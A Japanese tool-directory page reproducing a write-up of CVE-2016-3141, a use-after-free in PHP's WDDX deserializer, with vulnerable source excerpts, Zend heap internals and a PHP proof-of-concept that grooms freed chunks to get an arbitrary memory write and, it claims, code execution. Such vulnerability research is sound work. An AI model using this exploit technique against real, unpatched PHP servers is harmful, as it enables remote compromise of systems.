Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2016-3141 — CVE-2016-3141 | Kitploit
ツール/GitHubGitHub/peternguyen93/cve-2016-3141
メモリフォレンジック脆弱性分析コード分析エクスプロイト学習と教育バイナリエクスプロイト
GitHubpeternguyen93/cve-2016-3141

CVE-2016-3141

CVE-2016-3141

リポジトリを見る
15410年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2016-3141

1. 脆弱性の詳細。

PHP 5.5.33 より前および 5.6.19 より前の 5.6.x における WDDX 拡張機能の wddx.c の Use-after-free の脆弱性により、細工された var 要素を含む XML データに対して wddx_deserialize 呼び出しをトリガーすることで、リモートの攻撃者がサービス妨害(メモリ破損およびアプリケーションのクラッシュ)を引き起こしたり、場合によってはその他の不特定の影響を与えたりする可能性があります。

2. バグの概要。

これは Use After Free バグであり、wddx が XML データを処理しようとするときに発生します。 関数 php_wddx_deserialize_ex 内のこのコードを見てください。wddx_deserialize($xml) で XML データを処理する際、PHP はこの関数を呼び出し、XML タグとデータを処理するためのいくつかの関数を設定します。

root@kitploit:~
	XML_SetUserData(parser, &stack);
	XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
	XML_SetCharacterDataHandler(parser, php_wddx_process_data);

関数 php_wddx_push_element は、このスニペットでわかるようにタグのエントリを作成します。たとえば <string>Hello World</string> を入力すると、開始タグ に達したときに php_wddx_push_element が呼び出され、タグの情報を格納する st_entry エントリが作成されます。以下のスニペットコードを見てみましょう。

root@kitploit:~
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
	st_entry ent;
	wddx_stack *stack = (wddx_stack *)user_data;
	
	----SNIP----
	else if (!strcmp(name, EL_STRING)) {
		ent.type = ST_STRING;
		SET_STACK_VARNAME;
	
		ALLOC_ZVAL(ent.data);
		INIT_PZVAL(ent.data);
		Z_TYPE_P(ent.data) = IS_STRING;
		Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
		Z_STRLEN_P(ent.data) = 0;
		wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
	} 
	----SNIP----
}

SET_STACK_VARNAME は、以下で定義されているプロシージャです。このプロシージャは、タグの stack->varname が NULL でないかどうかを単純にチェックし、NULL でない場合はこの stack->varname を複製してから解放します。

root@kitploit:~
#define SET_STACK_VARNAME							\
		if (stack->varname) {						\
			ent.varname = estrdup(stack->varname);	\
			efree(stack->varname);					\
			stack->varname = NULL;					\
		} else										\
			ent.varname = NULL;						\

バグは php_wddx_pop_element 内で発生します。XML が var タグを閉じると、このタグの varname が解放されますが、この解放されたポインタは依然として stack->varname に格納されています。たとえば、<var name='UAF'></var> のような var を作成すると、php_wddx_push_element はこの var タグを格納する構造体を作成し、このタグを閉じたときに解放しますが、stack->name = NULL を設定したり stack->top を減らしたりするのを忘れます。その後、<string> などの別のタグを作成すると、関数 SET_STACK_VARNAME がこの解放されたポインタを再利用します。

root@kitploit:~
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
	# ***SNIP***
	} else if (!strcmp(name, EL_VAR) && stack->varname) {
		efree(stack->varname);
	}
	# ***SNIP***
}

3. 悪用

このバグを最初に見たとき、「このバグをコード実行に変えることはできないだろうか?」と考えました。まず、zend ヒープがどのように実装されているかを理解する必要があります。以下の zend_alloc.c の関数 _zend_mm_alloc_int を見てみましょう。

root@kitploit:~
if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
		size_t index = ZEND_MM_BUCKET_INDEX(true_size);
		size_t bitmap;
		if (UNEXPECTED(true_size < size)) {
			goto out_of_memory;
		}
#if ZEND_MM_CACHE
		if (EXPECTED(heap->cache[index] != NULL)) {
			/* Get block from cache */
#if ZEND_MM_CACHE_STAT
			heap->cache_stat[index].count--;
			heap->cache_stat[index].hit++;
#endif
			best_fit = heap->cache[index];
			heap->cache[index] = best_fit->prev_free_block;
			heap->cached -= true_size;
			ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
			ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
			HANDLE_UNBLOCK_INTERRUPTIONS();
			return ZEND_MM_DATA_OF(best_fit);
 		}

チャンクサイズが小さい場合(256 バイト未満)、zend_alloc は heap->cache を使用します。これは、多くの小さな空きチャンクのリンクリストを格納した空きチャンクリストで、malloc の fast_bin のようなものです。何らかの方法で best_fit->prev_free_block ポインタを自分のアドレスで上書きできれば、再度 zend_alloc を呼び出し、そのアドレスを使用してメモリ上の任意の場所に書き込むことができます。

そのために、以下の wddx XML を作成します。

root@kitploit:~
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
	<array>
		<binary>HERE</binary> # (1)
		<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
		<binary>REPLACE</binary> # (3)
		<var name='SUCK'></var> # (4)
		<boolean value='a'/>
		<boolean value='true'/>
	</array>
</wddxPacket>
EOF;

$binary_value = base64_encode(str_repeat("A",32));

$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);

$wddx = wddx_deserialize($xml); 

foreach($wddx as $k => $v){
	$k = "".str_repeat("C",6); (5)
	
	$t = (string)$v; (6)
	$g = (string)$v; (7)
}
  1. binary タグを使用して 32 バイト(chunk_a)を作成します。このタグを使用すると、印刷不可能な文字を入力できるためです。
  2. 最初の binary タグと同じサイズの名前を作成し、この名前の値を解放させます(chunk_b)。
  3. 64 バイトのパディングチャンクを作成します(chunk_c)。
  4. 8 バイトの名前を作成し、それを解放します(chunk_d)。
  5. この $xml をデシリアライズした後、このオブジェクトに対して foreach ループを実行します。最初のループでは、$k が解放された chunk_b を指し、$v が chunk_a を指します。演算子 concat_function を使用して best_fit->prev_free_block を自分のデータで上書きします。
  6. PHP の文字列キャスト(estrncpy を呼び出します)を使用して、新しいチャンク(chunk_e)を chunk_b を指すように作成し、heap->cache[index] に自分の値を格納させます。
  7. 同じことを再度行います。estrncpy($v,32)($v=$binary_value)で最初に再度 zend_alloc を呼び出すと、$r12 = 0x4343434343 でクラッシュします。この値を別のアドレスに置き換えると、estrncpy は memcpy(r12,v,size) を呼び出すため、それによって任意の場所を上書きできます。

クラッシュ

完全なエクスプロイトはこちらで確認できます peter_code_execute.php(Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14 でテスト済み)。

最終的に、このバグをコード実行に変換することに成功しました。 結果

4. 参考リンク

http://www.cvedetails.com/cve/CVE-2016-3141/.

https://bugs.php.net/bug.php?id=71587.

ツールをダウンロード